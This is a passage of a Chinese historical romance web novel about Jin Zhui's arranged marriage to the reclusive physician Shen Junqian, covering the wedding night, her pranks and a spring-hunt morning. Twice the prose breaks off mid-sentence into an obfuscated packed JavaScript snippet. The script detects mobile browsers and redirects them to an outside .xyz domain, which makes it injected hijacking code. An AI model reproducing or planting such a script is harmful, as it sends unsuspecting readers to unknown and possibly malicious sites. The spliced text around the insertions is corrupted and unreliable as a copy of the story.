沈君迁是三代单传的独子,少失恃怙,唯一的老祖父又因病下世,家中无长辈,遂由岳丈主持大局。碍于这门亲事的特性,既不可铺张,又不好寒酸,个中尺度拿捏不易。好在金相人脉甚广,重金请来几个颇有经验的司仪喜娘全程操办,总算是低调而不失体面地将金坠脱了手。 众所周知,她出阁出得越是安静,金家在人后遭的口舌声亦越小。若非祖宗礼法束缚,他们恨不得趁着月黑风高,无声无息地将这不肖的族女扫地出门才好。 梳妆完毕,只待吉时。金氏毕竟诗礼名门,家传古风不可失。出阁前,叔母冷着脸为她施衿结褵,劝诫了些虔恭中馈相夫教子的俗话。 金坠连声唯唯,一心只求快些跨出这道困了数十载的铁门槛;听司仪在外报称迎亲仗队已至,一时竟如闻仙音,不等宛童等上前陪侍,自己先小跑出阁去了,连却扇都忘了遮,气得崇古好礼的叶氏在后头高呼作孽。 金府门外,只见喜绸,不闻锣鼓。沈君迁执辔静立,容色漠然,与初遇时无甚分别。一身鲜亮喜服并未将他衬得更近人情些,见了新妇亦装作未见,只上前向宰执夫妇淡淡致礼。这副忍辱负重之态甚合金坠心意,毕竟前回同游相国寺时,他那冷静中略带嘲弄的模样一度颇令她不快。 金相拍了拍侄女婿的肩,德高望重地叮嘱起后辈。沈君迁颔首应承,面上虽未显露什么,心中大抵已厌烦之至。似他这等清高嫉俗之人,被迫做了这场假凤虚凰的勾当,无异于在修罗地狱历劫吧? 金坠冷笑一声,不疾不徐地上了花轿。同是天涯沦落人,恨不相逢未嫁时——倘若她不必嫁给他,兴许还会与他同病相怜,如今倒只送他一句咎由自取。 活该,谁让你不敢抗旨拒婚去娶你那些草药? 既是从简办亲,催妆拦门作诗等繁文缛节皆免。迎亲仗队的人个个知趣,也不装模作样索求利市钱。金坠前脚刚上轿,后脚便起轿开道,一路投胎似的紧赶慢赶,仿佛抬的不是喜轿而是棺材,里头装的不是个待嫁新妇而是待葬老妇,迫不及待便要拉出屋去埋了——行云流水一气呵成,这大抵是金坠对这门亲事唯一满意之处。 出阁已是午后申时,停轿时日头渐落。沈家宅邸坐落于城南清化坊,迥异于金府之揽胜繁华,是个大隐于市的清净所在。门楹上只缀了几抹红绸,落花似的在暮风中飘着,此外便是满眼的绿。 宅前有一株亭亭如盖的杏树,苍翠沉郁,簌簌摇曳,在这群芳竞艳之季略显落寞。此情此景,倒令金坠的到来显得颇为应时。毕竟她那不太合身的婚服亦是惨淡青绿,枝叶一般在春风中飘拂不定,不知要将裹挟其中之人引往何处。 依照婚俗,新妇初到夫家不得踩地,只得行于事先铺好的青毡花席上,先跨鞍马,再进中门。这些自不必她操心,早有喜娘在此迎候,见金坠下轿,忙将她引至门前陈列的金缨马鞍处,示意她跨过去。金坠嫌烦,对君迁道: “到都到了,既是从简,这不如也免了吧?” 不等新郎作答,几个喜娘却纷纷道: “跨鞍马,祈平安,自古便是免不了的一茬!娘子若不跨,日后如有个万一,咱们没法交差呀!” 金坠心生烦厌,索性闭上眼,拖着一身宽袍大袖胡乱跨了过去——跨了,却没完全跨。拖地锦成了绊脚石,霎时将她拽倒在地。 再次睁眼时,她已半倚在沈君迁怀里。遮面却扇掉在地上,青红相接,四目相对,狼狈尴尬尽在不言。 宛童在后头发出一声哀嚎。久经沙场的喜娘们亦从未见过这般马前失足的场面,面面相觑,强颜笑道: “不妨不妨,摔摔平安、摔摔平安!” 金坠低低道了声谢,从沈君迁怀中立起身来。刚要后退,低首瞥见他领口处露出一截里衣,惨淡缟素,与外搭鲜红喜服对比分明。 君迁注意到她的视线,拢了拢襟,主动解释道: “祖父孝期未满,我正为他服丧。” “巧了,我也是。”金坠亦微松襟口,向他展示藏于婚服之下的素衣,“我在为我自己服丧。” 君迁一怔,低低道:“你我不是冥婚吧?” “不是么?”金坠冷冷一哂,“大喜之日不约而同地在婚服底下穿丧服,阳间恐再难寻出似你我这般的夫妻吧?” 君迁闻言,似是而非地笑了笑,默默接过喜娘递来的绣球红绸。尚未迈步,那一头却径自飘走了,还越来越快。他叹了口气,只得亦步亦趋,风筝似的被金坠牵进门中。 新妇到家,一路虽磕绊了些,总算是过了门。为防邻里闲言中伤金家名节,喜闻乐见的撒谷豆仪式是必须免除的,因此当日无人前来凑热闹。宾客又皆在金府,沈府中除了几个司仪家仆便只有新婚夫妇二人,门庭空落,倒显得原本不大的宅院颇为宽敞。 君迁双亲早逝,拜高堂一环只得改成拜先灵。厅中静静立着沈家先祖的牌位,椿萱已逝,无言相对,凄凉非常。 金坠此前已在母亲的灵牌前向她拜别,如今又来到沈家拜公婆的灵,恍惚竟以为今日清明,只觉几分戚然几分荒谬。隔着却扇斜睨沈君迁,见他一丝不苟地在灵前下拜,神情冷峻如常,并无分外哀伤,只略略显出些寂寥。 拜过了堂,遂往洞房去。一众喜娘热心簇拥他们来到帐前,在此行交拜之礼,二人只得不情不愿地欠下身去。眼见渡劫在望,金坠正要松口气,却见那主婚的大娘盈盈一笑,朗声诵道: “侬既剪云鬟,郎亦分丝发;觅向无人处,绾作同心结。” 吟毕此诗,递上一柄红缎金剪:“新人就床,剪发,成合髻礼!” 金坠的耐心实在熬到了头,兀自在婚床前坐下,挑挑眉道:“我不剪。” 喜娘惊道:“结发合髻,同心不离,娘子怎可不剪?” 金坠用手指绞着一缕垂落的鬓发,冷笑道: “当初我想剪的时候拦着不让我剪,说什么身体发肤受之父母,如今不想剪却逼着我剪。莫非嫁了人,这身体发肤便不算是父母给的,只好任人摆布了?” 喜娘们何曾听过这等高论,面面相觑之际,却听君迁道: “既是如此,便跳过吧。” 主婚大娘急道:“哎哟我的新郎官哟,这可不兴再跳了!再跳就直接跳进洞房了!” 金坠懒懒道:“那有何不好?成亲拜堂不就为了这个么,直奔主旨岂不痛快——新郎官,你说是么?” 语毕眼波一转,似笑非笑地乜斜着身旁的君迁;未待他答话,径 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喜娘们被她闹得疲惫不堪,忙不迭奉上酒盏,只盼早些收工。主婚大娘亦是疲于应付,连礼词都省了,一嗓子道: “行——交——卺——礼!” 一金一银两盏酒觞分别递至夫妻手中,各自先饮一口,再交颈互饮。一众喜娘围在塌前,提心吊胆地盯着这对新婚冤家;眼见他们即将饮完合卺酒,皆暗自松了口气,蓦地却见金坠一记猛呛,盏倾酒洒,竟将那琼浆玉液都吐在她夫君的喜服上。 洞房之中一片死寂。沈君迁在原地怔了半晌,眉楞紧蹙,缓缓从塌前移开身去。金坠佯作无措,薄面含嗔: “哎呀,都怪这酒太烈,呛着人家了……对不住呀夫君,好好的喜袍都给你弄脏了!” 说着便从一旁随手取了块布来,直往抹他襟口抹去。君迁被吓怕了,唯恐又遭她毒手,避瘟神似的一跃而起,径直退到墙隅,一言不发冷视着她,寒潭似的面庞将要结冰一般。 新房中红烛如血,杯盘狼藉,烈火烹油,如堕火山地狱。主婚大娘毕竟经验丰富,面不改色,强颜欢笑: “礼成,灭烛!” 语毕却不去灭灯,徐徐退至槛边,蓦地夺门而出。喜娘们见状亦纷纷辞行,金坠故作惊愕道: “阿娘们这便走了?还没闹洞房呢!” “下回再闹,下回再闹!” 众人面露窘色,蜂拥退出婚房,一面落荒而逃,一面摇首叹气,集体吐出金坠常在叔母嘴边听见的那两个字:“作孽。” 屋中再度沉默。金坠怡然自得,兀自回到婚床前,将适才撒帐时掉在枕塌上的彩豆一粒粒拾起来。一时无话。君迁遭她吐了满身喜酒,起身道: “我去更衣。” 金坠求之不得:“那我先睡了。这洞房闹得人可有些倦呢!” 她说着取了烛剪,将灯架上的红烛一盏盏掐灭,一面打呵欠,一面敲打他道: “对了,一会儿你记得在床下铺块垫子——我睡相不佳,常将人踹下去,若伤着你可不好呢!” “多谢告知。”君迁不慌不忙地回过身,“你知道我会医术吧?” 金坠见他不知趣,厉声道:“医者不可自医,我下手可没轻没重,劝你还是别回来的好!” 君迁幽幽道:“我若非要回来呢?” “你……!”金坠举起手里的烛剪,“你不怕我发疯就试试!” “不怕。”君迁冷冷一笑,“我就喜欢疯的。” 言毕,意味深长地瞥她一眼,扬长而去。 金坠岂知这草木人似的沈君迁竟会说这等浑话,被那一丝不可捉摸的冷笑惹得有些发怵,生怕他半夜回来报复,忙将屋里能搬得动的桌椅箱柜都搬到门边抵住。自己钻到那张大红婚床的角落里缩着,裹紧被子,手上死死攥着烛剪严阵以待。 布置一新的喜房俨然成了刑房。她虽不恋家,此刻独处于这陌生之地,心中不免惊惧交集,还有些不可名状的孤独。数着更漏熬了半宿,终是耐不住倦意,倒头睡了过去。 8. 莲心苦 翌日卯初,更漏未尽,天色未明。金坠猝然睁目,惊觉自己躺在一张陌生的喜榻上,一时心惊肉跳,天昏地暗,如堕五里迷雾。半晌梦醒,方意识到昨夜原是自己的洞房花烛。 她定了定神,目不敢斜视,缓缓向身边伸出手去。摸索良久,只抓到一角红锦被——神佛保佑,枕畔空空无人,未给她带来更多惊吓。 她起身点了灯,静待荧荧火光为这拂晓前昏暗的洞房添上暖色。在榻前怔坐片刻,只觉心口发闷,决定出去透透风。刚来到廊下,便与一人撞了个正着。好在不是别人,正是随她来沈府服侍的宛童。 “五娘怎未添衣就出来了,晨起冷,恐着凉呢!”宛童将她推回屋中,“沈郎还睡着么?” 金坠淡淡道:“这屋里就我一人,我怎知他醒还是睡?” “莫非他昨夜没……好啊!洞房花烛夜竟让新妇独守空房,这也忒不是人了!” 宛童气得在婚床前跺脚,为五娘鸣不平,全然不知昨夜拜堂时她曾做的一场赶客好戏。金坠容色自若道: “我睡得早,也不知枕边有没有人,大抵他曾来过,又被周公引去哪个温柔乡了吧——走,咱们去寻寻他,看是什么好梦迷得他夜不归宿。” “五娘先盥洗更衣吧!”宛童叹息一声,上前为金坠梳头,边梳边抱怨道: “这沈府倒也好笑,我适才在府中转了圈,都没见着个婢子侍从,偌大的宅子竟没个叫得应的,新妇一早起来没人服侍,却要我这刚来的亲力亲为。本以为随五娘嫁来能享享清福呢,倒比在金府更忙了!” 金坠徐徐道:“这便是宾至如归,想必他们恐我初来乍到思家思亲,特意如在娘家时一般待我呢。” 宛童恼道:“真是有其主必有其仆!想不到那沈学士看着人模人样,私下竟如此吝啬薄情,这般待我们五娘,亏他还是个悬壶济世的呢,不如悬梁谢世去算了!” “他忍辱负重娶了我,给张床睡已是不错,岂敢奢求别的。嫁鸡随鸡嫁狗随狗,我也只得认命了。” 金坠佯装幽怨,对镜叹了口气。草草洗漱梳妆毕,携着宛童出门去了。 天色刚拂晓,二人踏出门槛,廊外便有一个弥勒佛似的慈颜老翁迎面而来,手中端着只青瓷汤盏;见了金坠,忙上前唱喏道了日安,和蔼笑道: “娘子这般早便起了?夜里可休息得好?” 金坠回礼:“有劳款待,一切都好。老人家是……?” “小老姓谢,是这府里的管事,娘子唤我谢翁便是!”老管事语毕,将手中汤盏奉上,“这是厨房刚炖的清心莲子饮,我家郎君亲自调的方子,滋补醒神,娘子请用!” 金坠一怔,微笑道:“一盏汤饮,叫别人端来便是,怎劳烦谢管事亲自跑一遭?” 谢翁道:“不怕娘子见笑,府里上工的时辰一向较晚,昔日老家主在时也从没点卯的规矩。几个丫头小子宽纵惯了,这会儿都还未起呢……” 宛童在一旁道:“那竟也没个粗使的?我家五娘一早起来,都寻不到人影呢。” 谢翁忙躬身致歉,絮絮解释道: “府里本还有几个粗使婢子,老家主一殁,郎君只说不需这么多人,免了她们的身契,都让她们各自去了,只留下三五个自小跟到大的,忙起来时人手少,若有服侍不周的,还请娘子宽宥则个!” “无妨,我在自家亦不过宛童一个帮手,如今她随我来了,倒也不需别人。大家只管忙自己的便是,不必顾我。”金坠语毕,指着谢翁手上的汤盏问道,“这莲子饮怎只有一碗,他自己不喝么?” 谢翁道:“郎君每日卯时未至便会去书斋理事,这会儿正忙着,不好扰他哩。我家郎君一向惯早起,适才未吵着娘子吧?” 宛童讥道:“何曾吵着,他昨夜分明都没……” 金坠不待她说完便出言打断,问谢翁道: “不知书斋在何处?我初来乍到,想先在府中熟悉熟悉——谢翁要务繁忙,只替我指点方向便是,我自己走走,不劳引路。” 谢翁闻言,忙向府中东西南北指了一遭,各处点毕,指着庭院南角绿丛掩映的书斋道: “郎君看书时不喜被打搅,娘子只在屋外张望张望便好,至多两三个时辰他就出来了。” 金坠颔首道谢,正要离去,谢翁又捧着那汤盏道:“小老先将这莲子饮送去娘子屋里,娘子用了再去吧!” 金坠接过汤盏:“无妨,我边走边饮。” 作别谢翁,她便捧着那莲子饮直往院中书斋而去。庭院深深,曲径通幽,大片胡枝子丛迎风轻拂,绿意清绝,颇有出尘意蕴。金坠四下环顾,自言自语道: “倒是个好去处。” 宛童看出她的图谋,在后头劝道:“谢翁说了沈郎看书时不让进呢,五娘当心惹他不高兴!” “他新婚之夜一宿未归,我还不高兴呢!”金坠冷笑一声,推开房门,“我倒要问问,他为何让我独守空房。” 书斋之中窗明几净,素雅整洁。四壁书架上如山陈列着各式医书典籍,墨香满室;白陶香炉中袅袅熏着醒神草药,苦香沁人。 金坠径自入室,略略环顾。桌案正上方,一幅颜体墨书映入眼帘。“澄怀观道”四字清隽雅致,不知是何方名家墨宝。其下一人伏案枕书而眠,正是她那夜不归宿的新婚郎君沈君迁。 金坠搁下汤盏,蹑手蹑脚地上前,俯身凑到他身边。正要伸出手去吓他一遭,蓦地却觉腕上一紧,反被人紧紧攥住;只见君迁猝然起身,如临大敌地盯着她。金坠面不改色,故作嗔态: “这么凶作甚,人家又不是贼!” 君迁自觉失态,松开她的手,也不问她有何贵干,兀自回到案前翻看书来看。金坠故问道: “你昨晚怎没回房睡呀?” “恐被人踹下床去。”君迁头也不抬,冷冷回道。 金坠一哂:“我同你闹着玩儿的!再说你不是会医术吗,何至如此惜命?” 语毕取来搁在一旁的那盏莲子饮,双手捧到他面前,曼声道: “别生气了,我给你带了醒神的莲子饮来,趁热喝吧!” 君迁瞥了她一眼,置若罔闻。金坠又道: “放心,没下毒。你若不信,先看我喝一口就是了。” 她晏晏一笑,捧起汤盏啜了一口。瞬间笑容消失,面如死灰,匆匆搁了盏取来绢帕拭口,半晌才冷静下来——好苦!苦得她魂灵儿都散了! 沈君迁似早料到她这般反应,不疾不徐道:“生地莲心汤去热消火,清心安神,是医治疯症的良药——只是有些苦。娘子可还喝得惯?” 金坠想到他竟一大早给她送来这等苦药,气不打一处来,冷冷道: “如此滋补的好物岂能独享,夫君也饮上一口吧! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977796|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 说着将汤盏捧到他面前,预备给他强灌下去。君迁如被打草惊蛇,抢先从她手里夺过盏去,唯恐她像昨晚喝合卺酒那般吐他满身。 金坠嗔道:“人家好心好意,夫君何必拒人千里?” 君迁将那莲子饮高搁在她够不着的架顶上,回身指着案头堆放的书籍,冷声道: “泼我可以,这些书都是珍本,劳驾高抬贵手。” “不愧是个学士郎,爱书胜过爱己。放心,我也爱看书,不会同它们过不去的。”金坠信步在架前参观起来,“你这里除了医书药典,可还有别的么?譬如诗词歌赋,志怪奇谈?” “我不看那些。” “那太可惜了,你会错失世间的许多乐趣呢!” “我看书并非为了取乐。” “我晓得——医书好歹能用来治病救人,总比我叔父书房里那堆三坟五典看着顺眼。”金坠楚楚回眸,“我带来的嫁妆里没有书,闷得慌,你能借我几本打发时间么?” 说着随手从架上抽出一本《千金要方》。未及翻开,君迁疾步上前夺回去,居高临下道:“不能。” 金坠道:“吝啬!” 君迁对她的评价不置可否,回到案前坐下,淡淡道:“谢翁主管家中采买事宜,你若想看什么,列张名录给他,让他替你去书肆买来便是。” 金坠笑道:“不烦他老人家,我自己去街市上买就成。” “随你。” “你有什么需要的么?我一并替你买来。” “不必了,你自便吧。” “那敢情好!”金坠扭头就走,回首嗔道,“好心问你不领情,只给你带一副驴肝肺来便是!” 君迁仍是埋头看书:“随你。” 一个时辰后,金坠从南市满载而归。回到书斋却见人去屋空,半晌才在府中拦到个小婢子,得知郎君往后院的药庐炼药去了。 金坠寻到后院中,但见此处是一片药园,葱茏幽静,遍植百草。尽头有一座茅庐,远远漫出如雪炊烟。金坠叩门三记,不请自入。甫一入内,便见琳琅满目皆是药材,品目繁多,生熟皆有,分门别类满满装了好几筐搁在架上,令人错觉正身临某家药肆。 窗前的灶上腾腾地熬着药,清苦扑鼻。君迁一身素服,正于药炉旁执扇煽风,清隽面容笼于皑白水雾间,似须臾便将消散成烟。瞥见金坠来此,装作未见,只掀开炉盖去看药。金坠亦不睬他,径自上前,从集市带回的行囊中取出一个纸包甩在他面前。 “呶,你要的东西,给你带来了!” 君迁蹙了蹙眉:“我不记得请你带过东西。” 金坠不疾不徐地拆开纸包,两副血淋淋的肝肺赫然陈列案头。 “我好容易从张屠户的肉摊上买到的,今早刚宰的驴,可新鲜了!” 见多识广的学士郎终于露出了不可置信的表情:“你……你当真买来了?” “你不是说随我么?”金坠粲然一笑,“你既把我的好心当做驴肝肺,不得教你尝尝我这心肝的滋味?” 君迁无言闭目,片刻恢复了波澜不惊的神貌,淡淡道: “多谢,我正缺一副生药引。” 金坠满以为他会气急败坏,谁料道高一尺魔高一丈,倒是自己反被他这幅满怀嘲弄的冷静面孔气着,只得不失礼貌地僵笑道: “……不客气。” 9. 双双燕 君迁将那副血淋淋的驴肝肺仔细包好,取来一只竹筐,与其他待入药的兽禽角骨等收在一处。见金坠气鼓鼓地杵在一旁,神色如常道: “我正忙,你请自便。” 金坠冷笑一声,又同此前参观书架一般信步参观起他的药架,随手拈起一簇生药道: “好多灵丹妙药!我还以为只有在太医局熟药坊才能见到,没想到你还在家里开了个小药坊——这是野山参吗?” 君迁瞥了眼她手中的药材,纠正道:“当归。” 金坠扔下那药,从另一筐中挑出一簇:“这应该是黄麻吧?” 君迁淡淡道:“红蔻。” 金坠讪讪一笑,蓦地眼前一亮,自信攥出一把淡金碎粒捧到他面前: “这个我认得,是决明子吧?” 君迁不可思议地盯着她,从她掌中将那金碎粒拈回竹筐,语重心长道: “这是稻谷粒。” 金坠长叹一声,故作谦虚地撇了撇嘴: “见笑见笑!我承认我是五谷不分了些,但四体还是勤快的——夫君若愿不吝教我些药理常识,我或可帮你打打下手呢。我看你这里也没个药童,你一个人怪忙的……” “多谢好意。”君迁头也不抬,“你还是看书去吧。” 金坠欣然道:“那正好!我刚从集市上买了些新书回来。你要一起看吗?” “我很忙。” “劳逸结合嘛。你没空的话,我念给你听!” 金坠一哂,从行囊中掏出一本书来翻开,清了清嗓,站在君迁跟前朗声念道: “‘赵后飞燕,父冯万金。祖大力,工理乐器,事江都王协律舍人。万金不肯传家业,编习乐声,亡章曲,任为繁手哀声,自号凡靡之乐’……”(注1) 君迁面露异色,在药炉前煽火的蒲扇慢慢僵在手中。 “怎么了,不够吸引人?那我换一段念。”金坠将书往后翻了几页,正色念道,“‘后德懿计,是夜进合德,帝大悦,以辅属体,无所不靡,谓为温柔乡……’” “金娘子,请你勿在此妨碍我炼药。”君迁猝然打断她。 金坠白他一眼,嗔道:“人家看你辛苦,好心给你念书消遣,倒成了不知趣了!” 君迁耐着性子道:“我多谢你,消遣完了,能让我炼药了么?” “念都快念完了,别急嘛。”金坠盈盈一笑,兀自往后念下去,“‘后骄逸,体微病,辄不自饮食,须帝持匙箸,药有苦口者,非帝为含吐不下咽。昭仪夜入浴兰室,肤体光发占灯烛,帝从帏中窃望之……’” 正念至精彩处,君迁疾步上前,蓦地从她手中夺过那书,冷冷道:“别念了!” “你干什么呀,凶神恶煞的!”金坠娇声嗔怪,踮脚抢回了书,“这《飞燕外传》可是历代名篇,我读得好好的,你抢它做什么!” “我请你别念了,我需专注炼药!” 君迁苦口婆心,见金坠仍不依不挠,忍无可忍,几回夺书未果,蓦地出手紧攥住她的素腕,任她百般挣扎也不松手。金坠佯痛叫了几声,见他不为所动,话锋一转,幽幽凑上前,在他耳畔呵气如兰: “夫君抓着人家不放,莫非是想与我照着这书上画的尝试一番?” 语毕眼波流转,单手将书页一抖,一副插画赫然展露在他们眼前——工笔精妙,活色生香,绘得正是那《飞燕外传》中记述的汉宫秘戏图景。 君迁面若死灰,钳口结舌,缓缓松开了她的手。金坠计谋得逞,吃吃一笑,脱兔似的从他身前蹦开,边跑边举书念道: “‘帝病缓弱,太医万方不能救,求奇药,尝得慎恤胶遗昭仪。昭仪辄进帝,一丸一幸。一夕,昭仪醉进七丸,帝昏夜拥昭仪居九成帐,笑吃吃不绝……’哎哟!” 金坠放下书,应声抬头,只见一个中年女子岿然伫立眼前,青面白眼,木然僵持。若非她终于动了动,还当撞上了尊女药叉雕像呢。 “夫人日安!今日又没刮风,怎将你吹来了?” 金坠粲然一哂,欠身唱喏。来人是礼部尚书的夫人许氏,就住在沈府邻巷。此人亦是曾对金坠口诛笔伐的贵妇团成员之一,偏是冤家路窄,竟在这不尴不尬的时辰撞见。 眼见金坠应对如常,许氏亦不好丢了贵妇尊严。强颜寒暄毕了,径自上前对沈君迁道: “沈学士新婚燕尔,本不该上门叨扰。奈何家中小女昨夜忽有些头疼脑热,咳嗽不止,大约是犯了夙疾,我想着你今日休沐在家,便来请你开几副药,别的医官我也不放心——我没打扰吧?” 君迁亦恢复了常色,温言道:“无妨。我记得前回曾给令爱开过几剂药方,仍未见好转么?” 许氏道:“好了,上回服了你的药,一时活蹦乱跳;大抵是昨夜着了风寒,又发作了。反反复复的,也不知怎么是好!” 君迁道:“令爱之疾先天所带,只可调养,暂无法根治。正好熟药所前月新采了一批西域药,我新开一副方子,看是否能缓解令爱之症。” 许氏欢喜道:“那便有劳沈学士了!我就知你是药师琉璃光如来下凡,总有救命仙方!” 君迁淡淡一哂,走到药架前迅速捡出些药材,依量包妥,又到书案前援笔濡墨,写下一副药方医嘱,一并交给许氏道: “此处只有其中几剂,余下药材还请至熟药所中按方寻购。” “多谢沈学士!”许氏如获至宝,接了药去,转头命随行婢子取钱递上。君迁忙道: “不必了,此间药材皆是我药园自产,不作售卖。” “那怎么成,请个江湖游医开假药还得给钱呢,况这些皆是名贵药材,怎好白吃?沈学士不开价,我便估摸着给了。” 许氏语毕,从荷包中取出几枚银锭强塞给君迁;又接过婢子递上的一只锦布包,笑道: “沈学士新婚,我也没来道喜。这是府里新到的几匹缎子,材质纹样俱佳,权当贺礼,还请笑纳。” 君迁岂会笑纳,再三婉拒。金坠冷眼旁观,烦透了他们你推我让,径自上前从许氏手中接过新婚贺礼,笑道: “郎君好不知趣,夫人盛情难却,咱们推脱反不给人家情面了——多谢夫人赠礼,正好我打算做几件春衣,正缺好看的缎子呢!” 许氏未料到她竟这般厚颜无耻,皮笑肉不笑道: “喜欢便好!没几日便是春猎宫宴,金五娘子穿了新衣裳去,也好让大家耳目一新——女娘们难得聚在一处,都不知该聊些什么呢!” 弦外之音不言自明,无疑又要拿她不守妇道的那些前情旧事大做文章。金坠淡然一笑,徐徐道: “谢夫人提点!届时盛装出席,艳冠四座,还请莫要见怪。” 那礼部夫人冷哼一声,向沈君迁颔首作别,带着婢子扬长而去。未出沈府门院,一路便低低骂道: “果真是个狐媚子,刚死了情郎便来勾引新夫,瞧她那样儿!白日宣|淫不知廉耻,沈学士好好一个正人君子竟遭她染指了!” 随行婢子偷笑道:“沈学士看着也像个不谙风月的,长久下去非憋出病来!都说医者不可自医,总得有人来医他不是?” 许氏啐道:“油嘴滑舌!若是剂正经药也罢了,偏是那天煞的‘慎恤胶’(注2),男人家沾了没一个好……作孽,作孽哟!” 药庐内重归寂静。君迁送走不速之客,重又回到灶前看药。金坠摩挲着许氏送的那几匹绸缎,懒懒道: “这缎子你要么?不要的话我拿去裁了做绣料了。” 君迁道:“随你。” 金坠欣然颔首,又拎起读了一半的《飞燕外传》在他眼前晃了晃: “那这书你还看么?也随我?” 君迁埋头炼药,只用一个忍辱负重的白眼回应她。金坠料到他会如此,终是收起了书,嗔道: “真不懂你,你说你出身医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977797|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门,又不是佛门,有什么看不得的!算了,不缠你了,好生拾掇你的救命草药吧,药师如来大人!” 语毕径自走出庐舍,将他独留在那苦香氤氲的清幽药园中,心中暗暗得意——今夜,想必他宁可枕药为眠,也不会回到洞房之中了。 当夜,沈君迁果然又没回房。再次独守空床,金坠好不自在,拉着宛童到房中解闷,同她讲起日间诸般情形,惹得宛童笑弯了腰。笑完一遭,又担忧道: “五娘这样不留情面,会不会对沈学士太过分了?毕竟他也没做错什么……” “他若做错了倒还好办,正因他没做错什么,我才得过分些。长此以往不留情面,他忍无可忍,自会后悔与我成亲,想方设法也要摆脱我。届时,我便可重获自由了。” “可你今日那样作弄,他都没发火,足见他耐性可好哩!” “那许氏是出了名的长舌妇,今天在药庐撞见的丑事不消多时就人尽皆知了。他沈君迁那么爱面子,我不信他能忍,不定明早就送来一纸休书了。反正恶名由我一人担,他没什么好顾虑的。” “五娘若是和离……今后打算如何?不会还要出家去吧?” 金坠垂眸不语。宛童鼓起勇气道: “五娘请容宛童劝一句。嘉陵王殿下已经不在了,不妨放下过去好好生活吧!这些时日,夜里常听你在屋里哭,这样哀思过度会伤了身子的……” “我好不容易能有一会儿不想他,你又来害我伤心!”金坠冷冷道,“真是可悲,难道我就不能为我自己好好哭一场么?天底下惹人伤心的事儿那么多,哪里哭得过来呢?” 宛童见她生气,慌忙缄口。金坠轻叹一声,执起宛童的手,柔声道: “殿下救过我的命,当初若非遇见他,我早已不在世上了。我答应过他,亦在神佛前起过誓,会好好活着。不仅是为了他,亦是为了我自己。” 言至此,沉默片刻,眼眶倏然洇上了烛火似的绯红。 “可我真的很想念过去,想念那些自由自在的日子……每天在这张床上睁开眼,我都幻想自己死了,再不必掏空心肺扮成个笑盈盈的活死人,做谁家的孝女,谁家的新妇。” 她轻抚腕上那只翡翠镯子,摩挲着镌在镯身内侧的“阿儡”二字,经久无言。宛童小声道: “可是殿下已经不在了,你再想,他也没法回到你身边来啊!殿下在天有灵,定也希望五娘能放下他,好好活下去……” 金坠深吸一口气,呆望着塌边那盏孤零零的烛火,敛容道: “宛童,我知道你是为了我好。我不是不愿放下,不是不想好好生活,可我这般模样,娘家回不去,夫家呆不住,又失了唯一的依靠,我凭什么过我想要的生活?我现在唯一的指望,是沈君迁能放了我,让我彻底身败名裂,再没人敢惹我。我出家也好,流浪也好,自己找个营生做,反正不愿呆在帝京,在这个聒噪虚伪的地方蹉跎度日……” “五娘去哪,宛童也随你一道去!宛童晓得五娘心气高,不愿靠人过活。打小在金府受了天大的委屈,也只往自己肚里咽。五娘放心,神佛不会亏待你的,定指给你一条闯出去的路……” 宛童说着也红了眼圈。金坠为她抹了泪,主仆二人相拥着彼此安慰。 夜已深沉,万籁俱寂,空落的婚房中唯闻烛火瑟瑟轻颤,一滴滴淌下红泪。窗外,一弯新月已过中天,遭云翳遮住,发出惨淡的光。空气中弥漫着春夜潮湿的气息,许是要下雨了。 金坠走到窗边,望着夜空,信手卷起颈边一缕青丝在指尖绕了几圈,幽幽道: “好了,哭也哭过,该想想眼前的事了。天要落雨,娘要嫁人——我要好好想一想,明天该如何折磨那人才好!” 【注释】 1.出自《飞燕外传》,记载汉成帝时赵飞燕、赵合德姊妹的宫闱秘史小说 2.慎恤胶:古老的助情香,相传为飞燕合德所用 10. 春日宴 三月初五晴方好,正是一岁一度的皇家春猎时。金坠只当自己是个公主贵妃,天未亮便起来金妆玉琢,真珠钗插、吊朵玲珑,凡是陪嫁带来的头面一股脑全上了身。 宛童见她一反常态,尽捡素日积灰的胭脂首饰对镜比划,笑道:“莫非五娘今日才出阁不成?” 金坠懒懒道:“出阁那么好的事儿,自要多出他几回不是?” 她一番盛装倒也不为别的,只为此前回敬礼部夫人的那句“艳冠群芳”——她自美她的,让那帮长舌妇在边上瞪眼嚼舌、大骂僭越去吧。 梳妆更衣毕,沈府小婢子苏合来请她去用朝食。金坠迤逦至餐堂中,却见向来只有她一人的食席竟被人捷足先登。案前简略陈放着几样粥食,沈君迁一手提箸,一手翻书,正看得入神。 自成亲以来,君迁便主动搬去别屋,茶饭皆让人送去手边,今日这般同席共食还是初次。金坠上下扫视他一眼,见他罕见地换了身游猎轻衫,劲骏爽练,与平日素服燕居时判若两人。 春猎盛宴,文武百官皆需随驾捧场。他这如意郎君本是东宫侍读出身,又新跻为金宰执的侄婿,自是逃不了的。 金坠不声不响地在他对席坐下,端起食皿,用汤匙敲了敲碗沿。君迁应声抬首,瞥了瞥她,复又垂眸看书。金坠冷笑道: “什么书如此引人!见了新婚娘子,也不道一声日安?” “日安。”君迁淡淡语毕,仍低头看书。 金坠道:“无视我便罢了,一会儿春猎面圣也这般爱搭不理,我可不替你开脱。” 君迁抬起头:“你也要去?” 